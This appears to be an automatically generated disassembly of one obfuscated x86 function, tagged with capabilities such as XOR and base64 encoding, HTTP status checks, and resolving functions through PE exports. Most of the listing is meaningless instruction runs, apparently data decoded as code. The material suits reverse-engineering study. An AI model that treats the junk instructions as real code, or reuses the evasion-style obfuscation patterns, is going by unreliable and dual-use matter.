Function at 0x67aee481
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x284
cmp dword [ebp + 8], 0
je 0x67aee49b
cmp dword [ebp + 0xc], 0
jne 0x67af096a
mov dword [ebp - 0x270], 0x2650d
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x278], 0xe9247
mov dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x278]
mov edx, dword [ebp - 0x274]
sub eax, dword [ebp - 0x270]
sbb edx, dword [ebp - 0x26c]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], edx
mov eax, dword [ebp - 0x280]
xor eax, 0xf1266
or eax, dword [ebp - 0x27c]
je 0x67aef7bc
mov edx, 0xf1266
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x67af095c
mov eax, dword [ebp - 0x280]
xor eax, 0xd9726
or eax, dword [ebp - 0x27c]
je 0x67aef1db
mov edx, 0xd9726
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x67af095c
mov eax, dword [ebp - 0x280]
xor eax, 0xc2d3a
or eax, dword [ebp - 0x27c]
je 0x67af095f
mov edx, 0xc2d3a
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x67af095c
mov eax, dword [ebp - 0x280]
xor eax, 0xacf10
or eax, dword [ebp - 0x27c]
je 0x67aee619
mov edx, 0xacf10
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x67af095c
mov eax, dword [ebp - 0x280]
xor eax, 0x8b122
or eax, dword [ebp - 0x27c]
je 0x67af037e
mov edx, 0x8b122
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x67af095c
mov eax, dword [ebp - 0x280]
xor eax, 0xad84
or eax, dword [ebp - 0x27c]
je 0x67aeebfa
mov eax, dword [ebp - 0x280]
xor eax, 0x420b4
or eax, dword [ebp - 0x27c]
je 0x67aefd9d
jmp 0x67af095c
push ebx
leave
jne 0x67aee648
sub al, 0xc7
jmp 0xdaf6b1ab
rcr dword [eax + esi*2], 1
das
adc dl, 9
push eax
sub dword [edx], edx
stc
jle 0x67aee684
ror dword [eax], cl
fnclex
jg 0x67aee68b
mov cl, 0x4d
push edi
invalid
push cs
invalid
pop ss
test al, 0x9f
pop eax
xor dword [edi], edi
loop 0x67aee70b
mov esi, 0xb1c0547d
add bh, byte [esi - 0x64]
jne 0x67aee68e
cmp dword [ecx], edi
pop ss
cmpsb byte [esi], byte es:[edi]
add dh, byte [ecx + 0x34402c77]
xchg edi, eax
ja 0x67aee70f
inc edi
mov eax, 0x7d28a324
and dword [edi], 0xce0e32dc
cmp eax, ebx
push 0x53
push 0xffffffffffffffb0
jne 0x67aee6f8
mov ch, 0x70
cld
movsd dword es:[edi], dword [esi]
pop ds
or byte [edx + 0x49], bl
adc al, 0xdd
fldpi
cwde
cmp dword [ecx - 0x7bd6caa1], 0xe06ef15b
scasb al, byte es:[edi]
invalid
out dx, al
cmp edx, edx
push 0xc741437e
mov al, 0xc7
add al, 0xaa
inc edi
in al, 0xc4
dec ecx
cmp dword [ebx - 0x30], 0xffffff91
xchg ecx, eax
cmc
cld
sub esp, dword [eax]
invalid
and ah, al
in al, 0xc8
int1
fcom st(6)
jg 0x67aee6ab
test byte [ebp - 0x67], dl
lds edi, [ebp + 0x20]
stosb byte es:[edi], al
stosb byte es:[edi], al
imul esi, dword [edx - 0x6c58f4b0], 0xeddf4852
out 0x8b, eax
xor cl, byte [ebx + edx - 0x6a8a955d]
or dword [eax - 0x52b7cd59], ebp
sub ah, byte [esi - 5]
and ebp, dword [esi + 0x6b]
clc
mov dl, byte [eax + 0x1d28facc]
pop edx
pop ebp
pop edx
test byte [ecx], bl
mov eax, dword [0x448db778]
or al, 0x2b
adc al, 0x35
invalid
dec ebx
mov dh, 0x47
dec edi
div dh
and dh, byte [esi]
pop ss
inc edi
mov ah, byte [ebx - 0x20758da6]
jo 0x67aeec2c
sub al, byte [ecx]
xor al, 0x27
push esp
push edx
pushal
pop ecx
mov eax, 0xa083dc86
imul edx, dword [ebp + 0x4b], 0x2f22096f
dec edi
daa
adc dh, byte [eax - 0x6d]
clc
push esp
or esi, 0xffffff8d
mov ah, 0xdb
jmp 0x3e6e0c94
fucomi st(1)
bound esp, qword [eax]
mov edi, 0xee262bd6
mov cl, 0xcd
push es
in eax, dx
aad 0xa9
pop edx
and dword [edi], ebx
stosd dword es:[edi], eax
aam 0x14
xchg ebp, eax
dec edi
daa
wait
dec esp
dec edi
and ah, bh
add eax, 0x6dbfd636
cmp ch, bl
ret
xchg ecx, eax
out 0xc1, eax
inc ecx
pop ds
mov ecx, 0x7c38ad55
jo 0x67aef1d4
sub dword [0xb8e0a3f5], 0x6700ac58
pop ebp
adc eax, 0xa7d62b26
add dword [esi + 0x71732906], ebx
push esp
jle 0x67aef179
fisttp qword [ebx + 0x6d]
rol dword [edx], 1
sbb dword [0x15e38994], ebx
sahf
fisttp dword [ebp - 0x27]
sbb ch, byte [0x133fac00]
int3
nop
int3
inc edx
mov al, byte [edi]
adc eax, 0x1c64ec8c
shl byte [edi], 0x97
sbb cl, dl
inc ebp
les ecx, [esi]
aaa
jecxz 0x67aef17e
inc edx
popfd
stosd dword es:[edi], eax
and al, byte [ebp + edx*4 + 0x585d5e5b]
mov edi, 0xa62b90c2
popfd
sub eax, dword [ecx - 0x60b9bcd2]
insb byte es:[edi], dx
stc
jae 0x67aef277
iretd
mov eax, 0xbbcf7853
jmp 0x46140b5
int 0xe6
inc ebx
or byte [ecx + 0x1dc004d2], dl
pop ss
scasb al, byte es:[edi]
xchg edx, eax
retf
mov gs, word [eax]
daa
sub eax, 0xf73acdd5
scasd eax, dword es:[edi]
fisttp word [edx]
dec ebx
push ebx
enter 0xffffffffffffa0d7, 0x6c
mov dword [0x1dd58640], eax
add al, 0x34
movsb byte es:[edi], byte [esi]
and byte [esi + ebx*2], al
xchg edx, eax
invalid
cli
cmp eax, 0x996e56df
xor al, 0x27
add cl, bh
sbb al, 0x7f
arpl word [ecx + ebx + 1], dx
push ebp
push ss
lodsd eax, dword [esi]
add eax, 0x2c411202
fcmovb st(0), st(0)
cmp dh, dl
nop
int3
push eax
dec ebp
loope 0x67aefd7a
lcall 0x6d4b, 0xa45d4ad8
stc
xchg dword [ebx + 0x59df7819], esp
jl 0x67aefdf1
fisubr dword [ecx - 0x77e7d4b0]
ja 0x67aefe0b
dec eax
lodsd eax, dword [esi]
add al, byte [0x2df06fa8]
jg 0x67aefd55
invalid
sbb ecx, edi
push 0xffffffffffffffc1
sbb dword [edi + edi*2 - 0x5f], 0x23
jo 0x67aefe2d
out 0xb4, eax
mov bh, 0x76
sbb dword [esp + ebx*4 + 0x47e82166], ecx
cld
and dh, byte [edi - 0x70]
int3
pop ebx
xor byte [ecx], ch
sbb al, 0x6a
cmc
les ecx, [ebp + 0x31]
call 0xbc769c9b
test eax, 0x9e235a7e
pushal
neg dword [0xf887987c]
ficomp word [edx + 0x5e]
push edx
xor dword [edx + 0x13a6f33b], edx
fninit
push esp
cmpsb byte [esi], byte es:[edi]
adc ebx, ebx
jecxz 0x67aefe86
imul ecx, dword [edi - 0x4024721], 0x4c
cmp byte [ecx], bl
pushfd
movsd dword es:[edi], dword [esi]
jae 0x67aefde6
xor eax, 0xa53a447e
push ebx
pop es
ret
xchg esp, eax
sub dword [eax + 0x736ce2af], edx
salc
add eax, 0xfd31677c
mov al, byte [0xf67f63bb]
pop edx
or ah, byte [eax - 0x5165bf11]
adc al, 1
sbb byte [ecx], al
movsb byte es:[edi], byte [esi]
adc al, 0xf5
adc dword [eax], 0x18
jmp 0x67aefe7f
bound ecx, qword [esi - 0x4e]
fcom dword [ecx + 0x32]
dec ebx
test al, 0x77
invalid
jo 0x67af0340
mov dword [ebx - 0x2d], ecx
nop
jnp 0x67af0396
push edi
salc
adc byte [esp + eax*4], ch
invalid
inc eax
pop edi
stosd dword es:[edi], eax
daa
add dword [edi], eax
mov esi, 0x6c77b669
lahf
mov eax, dword [0x23ab40af]
cmp al, 0x34
movsd dword es:[edi], dword [esi]
pop eax
test byte [edi], dh
adc dword [edi + 0xe488865], ebp
in eax, dx
shl dword [ecx + 0x32ad2103], cl
jo 0x67af03f7
add ah, byte [ebx - 0x4c]
add dword [ebx - 0x7e], esp
mov ch, 0xa2
dec eax
pop ecx
inc esi
mov word [ecx - 0x2fcc0877], es
invalid
jmp 0xb4be888d
mov ebp, 0xb5bca589
mov bl, 0xf7
fimul dword [ecx + ebx*8]
mov dword [0x48172d5b], eax
out 0x74, al
pop ebx
sub eax, 0x74e64817
lodsb al, byte [esi]
sub al, 0xc6
jg 0x67af0435
mov edi, 0xc85bbba2
mov eax, 0x644036ab
sbb byte [eax], 0x10
inc eax
mov bl, 0xac
sbb dword [eax + ebp*8 + 0x52], esp
push esp
movsb byte es:[edi], byte [esi]
jne 0x67af047b
xchg esp, eax
mov dword [0xbc3d3b3a], eax
jge 0x67af03d2
xchg ebx, eax
cli
jle 0x67af03ec
jmp 0xea6333ed
dec edi
bound esi, qword [eax + 0x65]
sub al, byte [ebx - 0x4a87a238]
or ebp, edx
mov ebx, 0xcc906114
ret
xchg ch, cl
push ecx
pop eax
popfd
je 0x67af0402
dec eax
popfd
xchg ecx, eax
pop ds
ret 0x7375
mov eax, 0x77f4b7b1
mov dh, 0xcf
int3
dec ecx
sar dword [esi - 0x52], cl
push ebx
mov esp, 0x70d527ed
stosd dword es:[edi], eax
jae 0x67af04f6
jp 0x67af04e9
insb byte es:[edi], dx
and al, byte [eax + 0x1d]
arpl si, bp
dec eax
mov dword [0x19a32ce4], eax
push ds
sal byte [esi - 0x7c], 1
cwde
jg 0x67af0456
clc
les ecx, [ebx]
cmp al, 0xf5
pop edi
mov bh, 0x8a
ja 0x67af046f
in eax, dx
loopne 0x67af04ab
imul esi, dword [ebx], 0xffffffc1
pop esi
cwde
and byte [edx - 7], 0x47
jg 0x67af050e
push edi
nop
int3
insb byte es:[edi], dx
xchg ecx, eax
je 0x67af0448
mov edx, 0x97b5d71f
sahf
nop
sbb al, 0x33
je 0x67af0488
das
or byte [ebx + eax*4], bl
shr byte [edx - 0x77], 0x28
enter 0xffffffffffffb170, 0x66
rol byte [esi + 0x59], 1
mov ebx, 0x522adee9
inc eax
dec eax
mov ebx, 0x39b7b4e0
invalid
pop ecx
dec eax
push ecx
xor edx, dword [edx + 0x4d]
pop ebx
or al, cl
pop ebp
xor al, dh
hlt
adc al, 0xb7
mov ch, bl
xchg byte [edx - 0x2c6b06af], dh
imul dword [ebp + ecx + 0x21fc1e6f]
cmp dh, byte [esi + 0x71]
or byte [esi - 0x70], bl
int3
adc al, byte [ecx]
or dword [ebp + 0x1b], 0xe0663e8
dec eax
ret 0xc54b
nop
jmp 0x67af0960
nop
mov eax, 0
jmp 0x67b56ddd
mov dword [ebp - 0x18], 0x1e8e3
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0x93c01
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0x8cf6a
or eax, dword [ebp - 0x24]
je 0x67af09bf
mov eax, dword [ebp - 0x28]
xor eax, 0xb24e4
or eax, dword [ebp - 0x24]
je 0x67af0f9d
jmp 0x67af0f9e
sbb eax, 0xfe915b91
mov ebp, 0x3f1c357c
in eax, dx
mov esi, 0xeb040d82
xor eax, 0xd5a9fddc
sbb eax, 0x4b2ad3e
sub edx, dword [edx]
int1
stosd dword es:[edi], eax
pop edi
mov al, byte [0x2831077c]
dec eax
cwde
popal
or al, 0x82
pushal
in eax, 0x57
invalid
nop
mov eax, dword [ebp + 0xc]
movzx eax, word [eax]
mov word [ebp - 0x2a], ax
cmp word [ebp - 0x2a], 0
je 0x67b4ed91
mov dword [ebp - 0x38], 0xb834f
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0x7f3b2
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
sub eax, dword [ebp - 0x40]
sbb edx, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0xe7701
or eax, dword [ebp - 0x44]
je 0x67af41ce
mov edx, 0xe7701
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xe4378
or eax, dword [ebp - 0x44]
je 0x67af70d6
mov edx, 0xe4378
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xcd355
or eax, dword [ebp - 0x44]
je 0x67af6af5
mov edx, 0xcd355
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xcb669
or eax, dword [ebp - 0x44]
je 0x67af2469
mov edx, 0xcb669
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xbfa62
or eax, dword [ebp - 0x44]
je 0x67af6514
mov edx, 0xbfa62
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xb0ab2
or eax, dword [ebp - 0x44]
je 0x67af7c98
mov edx, 0xb0ab2
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0xa4a0f
or eax, dword [ebp - 0x44]
je 0x67af360c
mov edx, 0xa4a0f
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x90fed
or eax, dword [ebp - 0x44]
je 0x67af18a7
mov edx, 0x90fed
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x853e7
or eax, dword [ebp - 0x44]
je 0x67af47af
mov edx, 0x853e7
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x8402e
or eax, dword [ebp - 0x44]
je 0x67af4d90
mov edx, 0x8402e
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x80965
or eax, dword [ebp - 0x44]
je 0x67af5f33
mov edx, 0x80965
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x73a66
or eax, dword [ebp - 0x44]
je 0x67af3bed
mov edx, 0x73a66
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x6f31b
or eax, dword [ebp - 0x44]
je 0x67af302b
mov edx, 0x6f31b
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x68ff2
or eax, dword [ebp - 0x44]
je 0x67af76b7
mov edx, 0x68ff2
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x5e627
or eax, dword [ebp - 0x44]
je 0x67af2a4a
mov edx, 0x5e627
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x454c9
or eax, dword [ebp - 0x44]
je 0x67af12c6
mov edx, 0x454c9
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x38f9d
or eax, dword [ebp - 0x44]
je 0x67af8279
mov edx, 0x38f9d
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x2c61e
or eax, dword [ebp - 0x44]
je 0x67af1e88
mov edx, 0x2c61e
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x67af8276
mov eax, dword [ebp - 0x48]
xor eax, 0x5841
or eax, dword [ebp - 0x44]
je 0x67af5371
mov eax, dword [ebp - 0x48]
xor eax, 0x10cd6
or eax, dword [ebp - 0x44]
je 0x67af5952
jmp 0x67af8276
dec edi
and al, 0x2b
sbb ecx, dword [edi - 0x1d54ccc4]
adc eax, 0xf7bd61a9
jbe 0x67af1329
inc ebx
ljmp 0x66ce
int3
inc ecx
cmp byte [eax - 0xf64730b], al
cmp bh, byte [esp + esi - 0x21]
push edx
mov dword [0x500bf713], eax
cmc
or edx, dword [eax - 0xb]
jb 0x67af18b6
add eax, 0x320a3103
movsb byte es:[edi], byte [esi]
scasd eax, dword es:[edi]
fisub dword [edx - 0x68]
push esp
inc ebp
aam 0x1b
inc eax
add al, 0x67
add dword [esi], ecx
test al, 0x60
pop ss
loopne 0x67af18ea
sbb eax, 0x15e41eaa
inc edx
fdivr qword [ecx - 0x5e]
mov ch, 0xfe
pop ebx
push ss
mov eax, dword [0xed509061]
mov esi, 0xfa8a5ed9
cli
pop ds
and esp, dword [ecx]
add byte [0x63e11445], ch
or eax, 0x966ccab4
imul ebx, dword [edx - 0xbe83706], 0x45194215
sub al, 0xde
add byte [ebx], bh
add al, 0x90
int3
pop ebx
aam 0x5f
xor dword [edi - 0x4780d6e9], ebp
adc eax, 0x20ef16b1
scasb al, byte es:[edi]
cmc
stosd dword es:[edi], eax
inc ecx
cmpsb byte [esi], byte es:[edi]
sub eax, 0xb86b2d0b
mov edi, 0xa58c2278
sub al, 0xad
retf
inc ecx
xchg byte [edx], bl
add ecx, dword [esi]
cmp dh, cl
and al, 0xd0
fstp st(5)
mov esp, ss
iretd
lodsb al, byte [esi]
salc
adc ecx, ecx
aam 0xe2
pop edi
inc eax
iretd
arpl word [ebx - 0x62efb687], di
xchg edx, eax
pop edi
outsd dx, dword [esi]
lahf
adc eax, 0xb73f94c8
or dword gs:[0xfb61e3fd], 0xa351fd87
invalid
test al, 0x7d
retf 0xc437
jb 0x67af35b6
les eax, [edx + 0x21ec0083]
mov dword [ebx], esi
popfd
pop ds
push esi
mov al, byte [0x5f9a633f]
invalid
rol byte [edi - 8], 0xe7
adc eax, 0x303ab55e
jg 0x67af3baa
dec ebp
push ebp
dec edx
cmp eax, dword [ebx - 0x2c]
xor al, 0xe8
adc dword [ebx + 0x42], esp
mov esi, 0x1f18fe80
add dword [esi + 0x14], 0x4a
mov esi, 0xc6c041a2
xchg ebx, eax
mov ebx, 0xf41e0a42
stosd dword es:[edi], eax
std
inc edx
or dl, byte [edx]
je 0x67af3ba8
cmpsb byte [esi], byte es:[edi]
into
ror dl, 0xfe
xor byte [ebp + 0x7d], dl
sub eax, dword [edx + 0x3d]
push esp
mov bh, 0x14
pop eax
jae 0x67af3b6f
ret 0xfab5
leave
add byte [0x889dfd29], cl
cmpsb byte [esi], byte es:[edi]
cmpsd dword [esi], dword es:[edi]
push esp
out dx, al
aam 0x5f
invalid
push ecx
sal esi, 0x2f
ror dword [eax + 0x36d1516a], 0xd3
push ebp
pop ecx
jbe 0x67af3b28
mov byte [0xe9692856], al
movsb byte es:[edi], byte [esi]
inc ecx
fldenv [edx]
arpl word [ebx - 0x12df6a07], di
in eax, dx
sub eax, 0x8bd2c8ed
pop edi
in eax, dx
enter 0xffffffffffff8bd2, 0x5f
cmp eax, 0x4f459b23
mov esi, 0x4a9628ca
mov dword [0x4e477eb7], eax
mov dword [0x790b1ebd], eax
xor eax, 0xb9078223
pop esi
retf
lea eax, [esi]
add byte [ecx + 0x1940cdd3], ah
mov eax, dword [0x1940cdd3]
and al, byte [edx - 0x4352d2fb]
mov ecx, 0xe28565a5
popfd
add byte [ecx], dh
pop ds
out 0x86, al
xchg dh, bh
js 0x67af3b8b
cmp al, 0x14
jp 0x67af3c8a
popfd
test esp, ebx
cli
loope 0x67af3be9
ret 0x4479
xor eax, 0x7dc11386
dec ebx
clc
sub byte [ebx + 0x4a7a9c75], ah
popal
fisub word [esi]
test edx, esi
mov esi, 0x726255a8
hlt
and al, 0xec
add edx, dword [edx]
imul esi, ebp, 0xffffff86
xlatb
inc ebp
push 0xf5836fac
xor byte [ebx + 0x76], 0xf1
adc eax, dword [ebx]
nop
int3
jl 0x67af41d3
pop es
rol dword [esi], 1
push es
or ah, ch
mov al, 3
xchg esi, eax
dec esp
call 0x94c8ba60
mov esi, 0x1bbfa215
inc esp
dec edx
pop ebp
sub eax, 0xbfa215be
sbb eax, dword [edx + ecx*2 + 0x5d]
out dx, eax
stosb byte es:[edi], al
push es
add eax, 0xd604c1a
fdivrp st(6)
inc edi
dec ecx
int 0x7b
xor al, 1
mov al, 0x27
mov edi, 0x2e29a27
mov edi, 0xdb7656fa
cli
push esi
jbe 0x67af41de
xor esi, dword [edx + 0x25]
mov esp, 0xeefd845b
test ecx, edx
loopne 0x67af41b3
push ss
xor al, 0xda
push edi
adc bl, ch
in al, 0x9d
aad 0x41
loopne 0x67af4262
invalid
cmp dword [edx - 0x422fd395], 0xffffffee
dec esp
pop esp
ret
mov esp, 0x2d33fcb
mov esp, 0x8be0edea
jg 0x67af4298
jb 0x67af41ff
insd dword es:[edi], dx
fnstenv [eax]
inc esp
loopne 0x67af42b1
pop esp
fimul dword [edx - 0x3e3a9ef9]
push cs
push cs
sub eax, 0x1b13092a
in al, dx
xchg edx, eax
pop esi
loope 0x67af42cd
invalid
sbb ch, 0xe4
test al, 0xb5
salc
inc ebx
pop ss
push cs
nop
int3
lcall 0xeef3, 0x6b962dc0
out dx, al
stosd dword es:[edi], eax
in al, dx
idiv dword [ecx]
add ebp, dword [ecx]
std
lodsd eax, dword [esi]
loopne 0x67af429e
adc dword [ecx], edi
push ebx
loopne 0x67af427c
mov bh, al
aaa
xor al, 0x38
jb 0x67af42b2
cmp byte [edx - 3], dh
jne 0x67af42bd
sbb byte [0xad3c32d3], 0x5b
pop ebx
mov al, byte [0x915f8ee1]
dec ebx
inc edx
in eax, dx
in al, 0xdf
outsd dx, dword [esi]
jo 0x67af4258
shld dword [edi + 0x12], eax, cl
push ebx
clc
inc edi
adc dl, byte [ebx - 8]
pushfd
xor dword [ebp - 0x10dbbdc1], eax
xchg byte [edi], dl
aam 0xea
or esp, 0xffffff98
sti
mov ah, 0xea
xchg cl, al
sub byte [eax + 0x69ad7870], bh
invalid
jb 0x67af47ef
mov eax, dword [0xad3f616]
dec edx
or al, 0x68
sbb dword [ebx - 0x7fe9de21], edx
mov ebx, 0xed85cbce
invalid
add ebp, dword [ebx - 0xbbdce02]
pop eax
aaa
dec esp
sal byte [esp + ebp*4 - 0xae4c152], 0xd2
inc byte [ebx]
insb byte es:[edi], dx
int1
in al, 0x6b
sal dword [ebp + eax - 0x52], 1
invalid
invalid
push eax
dec eax
push ecx
mov edx, 0x46b9f388
inc edi
int1
jno 0x67af4d5e
pop edx
mov ecx, 0xdff647b9
pushal
aas
invalid
clc
cdq
mov al, 0x7a
fnstenv [ecx + ebx*8 - 0xd]
xor al, 0x7a
fucompi st(6)
mov bh, 0x89
out 0xb8, al
add eax, 0x38a5bc54
mov gs, ebx
scasd eax, dword es:[edi]
sub dword [edx], ebx
dec edx
cmp al, 0x8b
mov esi, 0x9369e08f
mov edi, dword [esi - 0x6c961f71]
adc eax, 0xcadba7c4
or ch, byte [esi + 0x94586ef]
stc
arpl word [esi + edi*4 + 0x627a15], bx
cdq
push es
sbb al, 0x98
frstor dword [ecx - 0x65]
jo 0x67af538d
invalid
mov eax, dword [0xf6181b14]
popal
push esi
and bl, byte [eax - 0x79]
jae 0x67af5999
dec eax
push esp
pop esi
in al, 0xc0
popfd
push eax
scasb al, byte es:[edi]
retf
pop es
push 0x74e00de3
mov esp, 0x4caee92
push esp
lodsd eax, dword [esi]
jg 0x67af59c9
insb byte es:[edi], dx
xor eax, 0xb80cea37
ljmp 0xb7eb
xor ah, cl
mov ebp, 0x4b76c5e6
lodsb al, byte [esi]
lahf
mov ecx, edx
movsd dword es:[edi], dword [esi]
std
lahf
push esi
inc ebp
push ss
jl 0x67af5a48
lock and dword [ebp - 0x3e930aba], ebp
fimul dword [ecx + esi*2 - 0x57c8c9d5]
push edi
inc edx
xchg dword [esi + 0x19], eax
jg 0x67af5a43
lcall 0x47c6, 0xd39da915
jo 0x67af5998
mov esp, eax
mov dword [eax - 0x59], esp
pop ebx
leave
mov esp, 0x4216e924
cmpsb byte [esi], byte es:[edi]
nop
test dl, bh
mov eax, dword fs:[0x1e0a21f7]
adc eax, 0x85bdf2fc
xchg esi, eax
xchg esp, eax
sub eax, 0xdf9ccc90
add dword fs:[edx], 0xfffffffa
sub dword [esi + 0x7f], esp
out 0x74, al
insd dword es:[edi], dx
jg 0x67af5a0a
je 0x67af5a93
sbb eax, 0x5cd9f410
or eax, 0x6a46dcfe
dec esp
insb byte es:[edi], dx
invalid
xchg byte [esi], ah
mov byte [0xa7269c3b], al
cmpsd dword es:[esi], dword es:[edi]
lodsb al, byte [esi]
xchg edi, eax
or byte [eax], 0x42
dec ebx
pushfd
lodsb al, byte [esi]
sbb al, al
shr byte [ebx], cl
jns 0x67af5a22
fstp xword [esi - 0x17]
and eax, dword [ecx + 0x3a]
pop ebx
salc
test eax, 0x176d59fc
into
mov bh, 0x57
jo 0x67af5a91
iretd
stosd dword es:[edi], eax
xchg ebp, eax
push cs
sub byte [eax - 0x6e], bh
wait
inc edi
and edx, esp
xchg edi, eax
aad 0x43
ret 0xcc90
in al, 0xe5
stosb byte es:[edi], al
inc ecx
rcl ah, cl
mov esp, dword [esp + edi*2]
and dword [edx - 0x66], ecx
jg 0x67af5a6e
invalid
ret
or esp, esi
jl 0x67af5a7e
xchg edx, eax
inc esi
cmp dword [ebp + 0x2b], esi
leave
bound edx, qword [ebp - 0x45fc5351]
stc
sub ecx, dword [esi - 0x2afc6ff3]
iretd
aaa
out 0x5b, eax
aad 0x65
dec ecx
jmp 0x5239aa15
lodsb al, byte [esi]
int3
jl 0x67af64ab
mov dword [0xff8418c], eax
push es
xor al, byte [esi + 0x492106ea]
retf 0x8c2c
push ebp
insd dword es:[edi], dx
aam 0xdd
int1
pop edx
jl 0x67af64d6
mov esi, 0x9ea69c93
push es
out dx, al
or al, ch
jge 0x67af6515
and esi, esi
sbb dword [ebx + esi], ebx
xchg edi, eax
outsd dx, dword [esi]
nop
int3
stosb byte es:[edi], al
pop ds
xchg ebx, eax
and byte ss:[edx - 0x4be63f9e], ch
pop ecx
add ch, dl
ficomp dword [edi]
and esp, dword [0x2d517a25]
pop ds
aas
pop edx
lds edi, [ecx - 0xa]
push eax
jbe 0x67af6563
mov ebx, 0x45ce1738
jecxz 0x67af64f3
jge 0x67af656e
mov ebp, 0x2a7c5b44
push es
pop ss
in eax, dx
cwde
invalid
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
push edi
push cs
scasd eax, dword es:[edi]
mov al, byte [0x4293d1ef]
and al, 0x11
cmp ecx, esp
invalid
adc dword [ecx], edi
loope 0x67af6500
mov edx, 0x905a9b44
int3
lodsd eax, dword [esi]
inc ebp
fdiv qword [edx - 0x59]
add dword [ebp - 0x6f4017ac], edi
ret 0x8c48
xchg ecx, edi
inc ebp
into
movsd dword es:[edi], dword [esi]
nop
int3
and byte [eax + 0x51], 0xd3
jbe 0x67af7002
and al, 0xd4
inc edx
inc edx
scasd eax, dword es:[edi]
iretd
lahf
sub bh, byte [ebp + edi*2 - 0x7f]
pop eax
out 0xa, eax
loop 0x67af70db
mov ah, 0x82
cwde
loope 0x67af7076
scasb al, byte es:[edi]
mov eax, 0x9f8b8dc0
push esi
jl 0x67af707f
ror byte [ebp + 0x6d246498], 1
xlatb
arpl word [ecx], bx
mov fs, edi
div dword [edx - 0x45]
sub dword [edx - 0x24e121ae], 0xffffff90
int3
fisttp dword [ebp + 0x2d]
pop esi
mov ebx, 0x3a934f7a
jae 0x67af70a3
jp 0x67af712c
xchg ebx, eax
cmp dh, byte [ebx - 0x3e]
push ecx
dec esi
xchg ecx, eax
and eax, dword [edx]
sub eax, 0x23d5fb72
out 0x34, eax
invalid
cmpsd dword [esi], dword es:[edi]
sbb dword [edi], ecx
les ebx, [edx]
push ebp
mov ah, 0x95
in al, 0x40
aad 0x9e
nop
int3
aas
js 0x67af76bc
lodsb al, byte [esi]
mov esi, 0x3920ad70
je 0x67af76fe
sahf
mov byte [esi + 0x4e8a8ac0], bh
invalid
fstp dword [esi]
or eax, 0x34f061d6
dec ebx
xlatb
pop esp
dec ebx
xchg edx, eax
loopne 0x67af7677
sub dl, bh
sbb dword [edx], edi
pop ebx
outsd dx, dword [esi]
